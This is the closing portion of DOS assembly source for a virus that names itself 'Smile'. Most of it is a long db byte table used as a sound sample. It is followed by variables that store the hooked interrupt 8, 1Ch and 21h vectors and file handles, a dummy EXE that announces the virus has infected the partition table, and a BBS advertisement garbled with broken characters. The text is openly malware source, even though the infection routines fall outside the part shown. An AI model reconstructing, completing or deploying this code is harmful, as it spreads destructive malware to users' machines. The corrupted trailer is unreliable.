db 192 , 248 , 60 , 31 , 49 , 196 , 241 , 216 , 51 , 153 , 195 , 141 , 140 , 140 , 62 , 71
db 102 , 248 , 190 , 61 , 199 , 144 , 226 , 62 , 51 , 129 , 225 , 252 , 62 , 19 , 100 , 230
db 49 , 140 , 115 , 28 , 3 , 160 , 224 , 60 , 71 , 131 , 226 , 248 , 156 , 51 , 131 , 113
db 248 , 59 , 143 , 137 , 198 , 56 , 46 , 29 , 193 , 240 , 230 , 61 , 199 , 57 , 230 , 56
db 215 , 23 , 38 , 120 , 230 , 57 , 198 , 35 , 198 , 108 , 141 , 148 , 113 , 57 , 226 , 57
db 199 , 120 , 254 , 15 , 99 , 248 , 70 , 197 , 200 , 59 , 31 , 225 , 248 , 191 , 7 , 195
db 232 , 126 , 31 , 3 , 240 , 252 , 61 , 143 , 225 , 204 , 127 , 14 , 99 , 252 , 115 , 143
db 227 , 204 , 119 , 143 , 49 , 206 , 60 , 199 , 56 , 121 , 142 , 112 , 227 , 140 , 113 , 143
db 199 , 216 , 60 , 199 , 33 , 248 , 121 , 143 , 1 , 198 , 57 , 198 , 204 , 227 , 156 , 224
db 126 , 30 , 67 , 227 , 56 , 62 , 29 , 143 , 25 , 200 , 230 , 30 , 99 , 204 , 113 , 14
db 49 , 131 , 92 , 197 , 206 , 120 , 238 , 17 , 200 , 121 , 7 , 25 , 196 , 24 , 222 , 7
db 0 , 112 , 98 , 61 , 142 , 99 , 252 , 63 , 15 , 140 , 236 , 198 , 115 , 70 , 78 , 224
db 220 , 51 , 134 , 112 , 78 , 55 , 135 , 112 , 230 , 56 , 254 , 49 , 195 , 152 , 124 , 103
db 35 , 182 , 113 , 133 , 225 , 188 , 14 , 131 , 182 , 62 , 121 , 51 , 7 , 44 , 227 , 25
db 223 , 24 , 228 , 79 , 199 , 192 , 124 , 15 , 0 , 226 , 120 , 153 , 49 , 202 , 26 , 39
db 113 , 240 , 187 , 31 , 225 , 240 , 117 , 12 , 200 , 232 , 230 , 51 , 39 , 140 , 241 , 29
db 25 , 200 , 113 , 155 , 153 , 62 , 30 , 3 , 168 , 113 , 30 , 1 , 195 , 48 , 76 , 127
db 142 , 99 , 29 , 175 , 57 , 142 , 195 , 243 , 220 , 24 , 142 , 3 , 136 , 248 , 30 , 19
db 70 , 240 , 123 , 59 , 199 , 120 , 227 , 56 , 115 , 15 , 199 , 248 , 248 , 31 , 3 , 193
db 216 , 57 , 142 , 113 , 206 , 57 , 177 , 183 , 121 , 185 , 3 , 248 , 206 , 11 , 156 , 115
db 129 , 156 , 55 , 145 , 216 , 95 , 19 , 241 , 190 , 103 , 227 , 248 , 31 , 139 , 240 , 118
db 31 , 193 , 216 , 127 , 7 , 113 , 126 , 29 , 199 , 248 , 127 , 15 , 224 , 252 , 63 , 195
db 184 , 255 , 12 , 227 , 252 , 51 , 142 , 240 , 206 , 57 , 195 , 152 , 115 , 12 , 227 , 156
db 115 , 142 , 113 , 206 , 56 , 199 , 56 , 227 , 28 , 97 , 140 , 121 , 198 , 57 , 231 , 28
db 227 , 156 , 115 , 143 , 56 , 199 , 14 , 120 , 143 , 134 , 120 , 79 , 14 , 120 , 223 , 15
db 222 , 51 , 227 , 29 , 193 , 252 , 103 , 135 , 152 , 142 , 12 , 228 , 114 , 59 , 152 , 204
db 224 , 55 , 25 , 241 , 156 , 100 , 199 , 57 , 185 , 28 , 199 , 204 , 113 , 159 , 24 , 198
db 7 , 2 , 57 , 207 , 12 , 113 , 198 , 56 , 249 , 193 , 220 , 115 , 7 , 3 , 225 , 240
db 30 , 208 , 226 , 28 , 97 , 192 , 56 , 193 , 67 , 51 , 49 , 142 , 207 , 140 , 240 , 142
db 49 , 227 , 156 , 103 , 131 , 57 , 142 , 99 , 226 , 60 , 15 , 128 , 240 , 30 , 7 , 145
db 249 , 14 , 1 , 224 , 61 , 131 , 240 , 115 , 14 , 65 , 248 , 121 , 7 , 160 , 230 , 63
db 195 , 220 , 63 , 135 , 240 , 158 , 25 , 195 , 24 , 231 , 24 , 99 , 156 , 49 , 206 , 115
db 135 , 57 , 200 , 156 , 103 , 48 , 113 , 142 , 112 , 198 , 59 , 195 , 24 , 231 , 14 , 113
db 156 , 27 , 196 , 112 , 231 , 61 , 241 , 220 , 127 , 134 , 113 , 220 , 29 , 199 , 55 , 127
db 15 , 225 , 252 , 31 , 135 , 248 , 31 , 15 , 231 , 156 , 103 , 14 , 227 , 252 , 51 , 152
db 61 , 6 , 120 , 207 , 3 , 248 , 158 , 7 , 240 , 62 , 67 , 224 , 124 , 15 , 224 , 252
db 143 , 192 , 241 , 31 , 129 , 226 , 62 , 7 , 192 , 252 , 31 , 129 , 248 , 63 , 7 , 240
db 124 , 15 , 193 , 248 , 63 , 7 , 224 , 254 , 31 , 193 , 248 , 63 , 7 , 240 , 254 , 15
db 193 , 252 , 63 , 131 , 240 , 63 , 7 , 224 , 126 , 31 , 193 , 252 , 63 , 131 , 248 , 190
db 7 , 241 , 124 , 31 , 227 , 252 , 63 , 195 , 248 , 63 , 199 , 240 , 125 , 199 , 216 , 120
db 227 , 14 , 48 , 248 , 15 , 128 , 252 , 31 , 195 , 248 , 103 , 3 , 241 , 220 , 7 , 195
db 248 , 127 , 135 , 240 , 126 , 15 , 224 , 252 , 31 , 129 , 248 , 63 , 7 , 240 , 120 , 15
db 128 , 240 , 63 , 15 , 224 , 254 , 31 , 193 , 248 , 31 , 3 , 225 , 246 , 31 , 195 , 220
db 63 , 131 , 240 , 63 , 131 , 224 , 126 , 7 , 224 , 252 , 31 , 195 , 252 , 62 , 7 , 248
db 124 , 15 , 177 , 248 , 15 , 3 , 240 , 254 , 7 , 128 , 248 , 15 , 1 , 248 , 30 , 7
db 192 , 124 , 15 , 129 , 242 , 59 , 131 , 192 , 116 , 30 , 3 , 232 , 126 , 7 , 224 , 254
db 7 , 192 , 252 , 103 , 3 , 152 , 244 , 23 , 3 , 224 , 60 , 7 , 194 , 188 , 7 , 129
db 252 , 47 , 7 , 176 , 126 , 15 , 224 , 252 , 25 , 194 , 241 , 57 , 199 , 112 , 112 , 15
db 1 , 248 , 31 , 135 , 240 , 255 , 15 , 225 , 248 , 31 , 131 , 248 , 124 , 3 , 240 , 124
db 15 , 129 , 240 , 31 , 3 , 224 , 125 , 7 , 160 , 126 , 15 , 192 , 230 , 28 , 227 , 136
db 120 , 7 , 176 , 244 , 30 , 193 , 240 , 61 , 7 , 176 , 246 , 14 , 1 , 200 , 28 , 3
db 128 , 60 , 7 , 134 , 120 , 79 , 129 , 248 , 127 , 7 , 230 , 120 , 199 , 152 , 225 , 14
db 115 , 192 , 57 , 199 , 28 , 115 , 7 , 25 , 254 , 78 , 231 , 59 , 221 , 200 , 15 , 204
db 156 , 152 , 14 , 236 , 252 , 136 , 142 , 236 , 204 , 136 , 76 , 204 , 249 , 144 , 25 , 147
db 114 , 100 , 118 , 111 , 145 , 39 , 191 , 249 , 19 , 247 , 36 , 127 , 152 , 19 , 254 , 136
db 159 , 176 , 7 , 254 , 1 , 127 , 192 , 31 , 252 , 1 , 255 , 128 , 31 , 230 , 65 , 254
db 0 , 127 , 216 , 19 , 254 , 1 , 127 , 32 , 15 , 248 , 1 , 255 , 192 , 31 , 248 , 3
db 254 , 0 , 255 , 192 , 31 , 248 , 1 , 255 , 128 , 31 , 224 , 7 , 252 , 9 , 190 , 96
db 15 , 236 , 9 , 255 , 0 , 159 , 176 , 7 , 251 , 2 , 127 , 128 , 31 , 216 , 11 , 252
db 129 , 191 , 144 , 15 , 252 , 3 , 255 , 128 , 63 , 228 , 13 , 254 , 0 , 255 , 240 , 7
db 254 , 1 , 191 , 192 , 31 , 252 , 1 , 255 , 0 , 127 , 248 , 19 , 127 , 129 , 63 , 228
db 15 , 254 , 0 , 63 , 224 , 13 , 254 , 34 , 55 , 228 , 73 , 254 , 100 , 223 , 124 , 201
db 191 , 224 , 25 , 179 , 32 , 79 , 236 , 137 , 255 , 192 , 79 , 254 , 0 , 255 , 200 , 23
db 249 , 32 , 155 , 108 , 130 , 102 , 76 , 200 , 204 , 222 , 4 , 166 , 251 , 19 , 32 , 31
db 236 , 140 , 236 , 204 , 108 , 204 , 153 , 20 , 217 , 153 , 25 , 179 , 32 , 118 , 249 , 166
db 219 , 32 , 23 , 108 , 146 , 108 , 200 , 111 , 230 , 70 , 236 , 195 , 63 , 36 , 71 , 201
db 153 , 59 , 36 , 219 , 178 , 110 , 236 , 130 , 93 , 194 , 102 , 249 , 32 , 207 , 228 , 66
db 123 , 146 , 59 , 51 , 38 , 153 , 50 , 219 , 100 , 251 , 153 , 157 , 154 , 100 , 99 , 54
db 108 , 195 , 50 , 121 , 182 , 217 , 166 , 125 , 50 , 79 , 54 , 73 , 178 , 204 , 214 , 108
db 147 , 51 , 33 , 147 , 108 , 200 , 155 , 177 , 37 , 179 , 102 , 3 , 237 , 140 , 154 , 136
db 155 , 246 , 68 , 255 , 236 , 137 , 19 , 63 , 204 , 153 , 191 , 144 , 19 , 254 , 64 , 79
db 252 , 4 , 255 , 128 , 63 , 240 , 7 , 255 , 19 , 119 , 233 , 19 , 51 , 34 , 55 , 120
db 2 , 110 , 201 , 63 , 220 , 139 , 230 , 98 , 127 , 140 , 102 , 243 , 201 , 155 , 216 , 7
db 243 , 19 , 124 , 204 , 137 , 190 , 3 , 246 , 115 , 51 , 38 , 100 , 219 , 96 , 59 , 62
db 68 , 155 , 200 , 159 , 236 , 201 , 178 , 100 , 73 , 51 , 19 , 153 , 140 , 155 , 49 , 19
db 236 , 131 , 127 , 241 , 3 , 252 , 205 , 222 , 25 , 153 , 255 , 145 , 62 , 3 , 102 , 76
db 217 , 31 , 204 , 31 , 153 , 191 , 112 , 63 , 177 , 187 , 204 , 76 , 119 , 112 , 29 , 196
db 27 , 243 , 38 , 204 , 199 , 51 , 54 , 76 , 157 , 230 , 77 , 217 , 144 , 63 , 228 , 79
db 100 , 178 , 100 , 205 , 143 , 236 , 25 , 147 , 120 , 129 , 248 , 3 , 252 , 146 , 220 , 132
db 216 , 157 , 217 , 183 , 51 , 35 , 147 , 205 , 36 , 216 , 25 , 155 , 50 , 101 , 147 , 147
db 38 , 196 , 105 , 50 , 71 , 199 , 28 , 216 , 115 , 48 , 205 , 179 , 38 , 216 , 60 , 179
db 97 , 230 , 109 , 147 , 110 , 38 , 121 , 48 , 227 , 64 , 204 , 198 , 7 , 14 , 108 , 76
db 184 , 240 , 195 , 239 , 134 , 115 , 55 , 137 , 15 , 184 , 38 , 108 , 12 , 25 , 204 , 104
db 243 , 97 , 147 , 199 , 39 , 152 , 54 , 125 , 49 , 243 , 179 , 102 , 205 , 204 , 155 , 54
db 126 , 89 , 60 , 217 , 102 , 195 , 39 , 131 , 79 , 7 , 156 , 38 , 121 , 48 , 112 , 217
db 225 , 159 , 227 , 19 , 12 , 150 , 67 , 54 , 77 , 188 , 153 , 60 , 250 , 108 , 155 , 108
db 61 , 200 , 134 , 79 , 46 , 192 , 221 , 3 , 255 , 17 , 240 , 255 , 240 , 62 , 13 , 254
db 19 , 178 , 223 , 128 , 204 , 39 , 209 , 44 , 153 , 225 , 180 , 29 , 225 , 60 , 63 , 194
db 120 , 63 , 1 , 248 , 188 , 15 , 113 , 116 , 27 , 7 , 51 , 204 , 115 , 30 , 230 , 59
db 133 , 241 , 60 , 7 , 145 , 236 , 206 , 195 , 184 , 222 , 3 , 137 , 242 , 60 , 140 , 99
db 228 , 241 , 159 , 23 , 68 , 216 , 249 , 15 , 17 , 134 , 199 , 65 , 126 , 63 , 7 , 216
db 254 , 31 , 227 , 232 , 59 , 143 , 226 , 254 , 55 , 135 , 241 , 188 , 101 , 199 , 57 , 135
db 198 , 112 , 159 , 31 , 195 , 248 , 158 , 71 , 249 , 199 , 145 , 240 , 248 , 15 , 103 , 204
db 19 , 141 , 195 , 56 , 143 , 129 , 252 , 7 , 167 , 241 , 61 , 140 , 225 , 156 , 3 , 136
db 114 , 30 , 49 , 204 , 240 , 118 , 48 , 195 , 30 , 71 , 192 , 121 , 23 , 1 , 248 , 198
db 48 , 236 , 49 , 156 , 241 , 12 , 143 , 130 , 120 , 254 , 15 , 226 , 184 , 251 , 19 , 217
db 253 , 39 , 155 , 98 , 45 , 144 , 204 , 55 , 155 , 113 , 159 , 39 , 97 , 242 , 187 , 6
db 244 , 195 , 60 , 102 , 217 , 131 , 38 , 51 , 129 , 196 , 198 , 12 , 224 , 198 , 125 , 100
db 147 , 201 , 53 , 159 , 99 , 60 , 27 , 97 , 188 , 142 , 55 , 128 , 241 , 204 , 198 , 109
db 130 , 25 , 229 , 152 , 121 , 147 , 49 , 140 , 153 , 36 , 194 , 115 , 24 , 198 , 121 , 39
db 152 , 243 , 55 , 19 , 198 , 126 , 25 , 201 , 236 , 247 , 25 , 196 , 120 , 141 , 36 , 243
db 46 , 49 , 152 , 242 , 12 , 195 , 199 , 61 , 143 , 136 , 217 , 142 , 103 , 56 , 205 , 129
db 144 , 25 , 135 , 185 , 156 , 63 , 152 , 202 , 59 , 135 , 55 , 137 , 230 , 122 , 108 , 220
db 61 , 184 , 206 , 102 , 62 , 102 , 31 , 142 , 153 , 231 , 211 , 206 , 225 , 231 , 151 , 105
db 246 , 199 , 241 , 249 , 143 , 195 , 246 , 159 , 147 , 223 , 142 , 209 , 251 , 143 , 227 , 157
db 159 , 99 , 207 , 25 , 199 , 24 , 126 , 143 , 230 , 120 , 158 , 113 , 218 , 63 , 199 , 240
db 237 , 142 , 131 , 159 , 57 , 230 , 120 , 238 , 63 , 227 , 152 , 231 , 142 , 115 , 30 , 115
db 140 , 249 , 230 , 117 , 227 , 156 , 251 , 140 , 227 , 188 , 119 , 152 , 241 , 26 , 96 , 206
db 97 , 135 , 61 , 199 , 159 , 57 , 103 , 188 , 103 , 24 , 241 , 248 , 115 , 56 , 230 , 6
db 227 , 188 , 115 , 204 , 124 , 31 , 141 , 193 , 214 , 115 , 198 , 119 , 135 , 49 , 142 , 60
db 199 , 48 , 115 , 28 , 227 , 156 , 113 , 140 , 113 , 198 , 24 , 198 , 56 , 115 , 26 , 33
db 205 , 204 , 131 , 51 , 31 , 12 , 206 , 60 , 51 , 152 , 49 , 206 , 99 , 199 , 51 , 140
db 205 , 142 , 60 , 51 , 152 , 224 , 228 , 227 , 153 , 49 , 198 , 198 , 227 , 51 , 143 , 14
db 134 , 54 , 118 , 56 , 152 , 252 , 99 , 227 , 185 , 207 , 143 , 198 , 103 , 51 , 142 , 156
db 159 , 28 , 224 , 113 , 179 , 140 , 228 , 204 , 39 , 71 , 113 , 156 , 100 , 228 , 225 , 163
db 137 , 204 , 158 , 103 , 49 , 115 , 12 , 193 , 204 , 199 , 139 , 204 , 204 , 51 , 163 , 26
db 56 , 204 , 225 , 198 , 27 , 211 , 120 , 255 , 46 , 225 , 239 , 31 , 135 , 92 , 111 , 27
db 147 , 156 , 114 , 229 , 147 , 142 , 49 , 204 , 103 , 142 , 57 , 156 , 152 , 236 , 28 , 131
db 179 , 113 , 198 , 32 , 238 , 53 , 15 , 29 , 241 , 120 , 247 , 62 , 53 , 25 , 158 , 48
db 11 , 153 , 54 , 15 , 28 , 230 , 28 , 241 , 220 , 241 , 206 , 225 , 175 , 27 , 134 , 102
db 103 , 24 , 249 , 220 , 102 , 204 , 243 , 51 , 51 , 140 , 204 , 166 , 51 , 103 , 57 , 153
db 147 , 103 , 104 , 206 , 121 , 204 , 99 , 204 , 123 , 60 , 25 , 38 , 51 , 98 , 218 , 123
db 22 , 70 , 28 , 219 , 44 , 147 , 76 , 192 , 227 , 200 , 49 , 205 , 164 , 219 , 154 , 102
db 23 , 54 , 78 , 60 , 218 , 100 , 216 , 210 , 100 , 241 , 228 , 231 , 201 , 167 , 57 , 140
db 54 , 15 , 206 , 51 , 47 , 35 , 136 , 201 , 153 , 35 , 140 , 115 , 134 , 58 , 115 , 102
db 120 , 236 , 204 , 153 , 163 , 120 , 198 , 51 , 152 , 54 , 204 , 225 , 147 , 101 , 201 , 51
db 13 , 193 , 178 , 62 , 77 , 195 , 52 , 207 , 202 , 204 , 120 , 193 , 142 , 108 , 209 , 227
db 28 , 97 , 147 , 19 , 152 , 56 , 227 , 142 , 92 , 240 , 199 , 30 , 48 , 241 , 207 , 25
db 108 , 157 , 109 , 199 , 155 , 28 , 97 , 155 , 39 , 28 , 241 , 205 , 30 , 24 , 226 , 199
db 28 , 49 , 225 , 134 , 56 , 229 , 154 , 108 , 97 , 207 , 62 , 56 , 231 , 14 , 124 , 200
db 54 , 76 , 227 , 156 , 56 , 227 , 143 , 12 , 104 , 231 , 28 , 179 , 103 , 60 , 249 , 227
db 135 , 28 , 120 , 227 , 6 , 24 , 115 , 139 , 56 , 56 , 199 , 134 , 56 , 115 , 199 , 60
db 153 , 204 , 222 , 108 , 241 , 195 , 30 , 60 , 49 , 199 , 142 , 24 , 112 , 227 , 134 , 115
db 51 , 155 , 28 , 113 , 205 , 134 , 120 , 242 , 99 , 143 , 30 , 113 , 154 , 44 , 249 , 231
db 150 , 124 , 113 , 241 , 158 , 25 , 98 , 206 , 92 , 179 , 231 , 143 , 56 , 227 , 166 , 12
db 32 , 199 , 48 , 105 , 147 , 25 , 156 , 108 , 204 , 28 , 51 , 39 , 198 , 153 , 176 , 224
db 252 , 216 , 103 , 30 , 71 , 205 , 131 , 1 , 204 , 217 , 145 , 114 , 60 , 62 , 125 , 60
db 31 , 30 , 76 , 158 , 22 , 108 , 217 , 25 , 176 , 204 , 158 , 55 , 137 , 140 , 220 , 104
db 226 , 204 , 105 , 241 , 204 , 201 , 227 , 204 , 201 , 227 , 140 , 203 , 195 , 156 , 207 , 199
db 28 , 199 , 195 , 140 , 199 , 195 , 156 , 199 , 231 , 140 , 199 , 195 , 156 , 207 , 206 , 121
db 159 , 38 , 57 , 153 , 142 , 121 , 153 , 156 , 241 , 145 , 140 , 241 , 179 , 153 , 241 , 178
db 204 , 209 , 131 , 153 , 227 , 38 , 217 , 205 , 151 , 28 , 198 , 103 , 59 , 25 , 50 , 77
db 153 , 46 , 121 , 140 , 39 , 49 , 140 , 51 , 50 , 102 , 76 , 115 , 198 , 12 , 99 , 156
db 99 , 102 , 147 , 248 , 205 , 156 , 119 , 142 , 156 , 126 , 76 , 12 , 110 , 77 , 152 , 236
db 198 , 56 , 102 , 102 , 120 , 220 , 243 , 76 , 206 , 100 , 152 , 198 , 49 , 153 , 152 , 60
db 223 , 28 , 189 , 55 , 25 , 198 , 15 , 60 , 114 , 14 , 25 , 51 , 207 , 50 , 227 , 19
db 36 , 67 , 223 , 102 , 199 , 92 , 102 , 131 , 4 , 100 , 115 , 126 , 236 , 214 , 48 , 108
db 77 , 191 , 204 , 6 , 124 , 253 , 152 , 32 , 255 , 136 , 78 , 243 , 128 , 127 , 240 , 59
db 255 , 0 , 63 , 252 , 15 , 251 , 192 , 31 , 254 , 3 , 255 , 192 , 31 , 254 , 3 , 255
db 192 , 63 , 252 , 15 , 127 , 0 , 127 , 240 , 3 , 16 , 7 , 255 , 240 , 32 , 15 , 251
SampleEnd equ this byte
;------------------------------------------------------------------------------
;
; Variables
;
;------------------------------------------------------------------------------
Active db - 1
ActiveYear dw - 1
ActiveDate dw - 1
OldInt8 equ this dword ; orginal interrupt 8
OldInt8o dw - 1
OldInt8s dw - 1
OldInt1C equ this dword ; orginal interrupt 1ch
OldInt1Co dw - 1
OldInt1Cs dw - 1
OldInt21 equ this dword ; orginal interrupt 21h
OldInt21o dw - 1
OldInt21s dw - 1
Count dw - 1 ; timer count
SampleOffset dw - 1 ; Used to make sound
SampleBit db - 1
SampleFlag db - 1
Handle db 24 dup ( - 1 ) ; Filehandles
cseg ends
;------------------------------------------------------------------------------
;
; Orginal EXE-file
;
;------------------------------------------------------------------------------
mseg seg ment public 'code'
assume cs : mseg , ds : mseg , es : mseg
db 'MZ' ; header
dw PrgSize ; PartPage
dw 1 ; PageCount
dw 0 ; relocation items = 0
dw 0 ; headersize = 0h
dw 80h ; minimum memory
dw 0ffffh ; maximum memory
dw ( PrgSize + 15 ) / 10h ; ss
dw 7feh ; sp
dw 0 ; chksum
dw offset Orginal ; ip
dw 0 ; cs
dw 1ch ; offset relocation table
dw 0 ; overlay number
Orginal: mov ah , 9 ; display warning
push cs
pop ds
mov dx , offset Warning
int 21h
mov ax , 4c00h
int 21h ; terminate
Warning db 13 , 10
db 'WARNING:' , 13 , 10
db 13 , 10
db 'Smile virus has now infected the partition table !!!!!' , 13 , 10
db 13 , 10
db '$'
mseg ends
sseg seg ment stack 'stack'
db 800h dup ( ? )
sseg ends
end Main
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>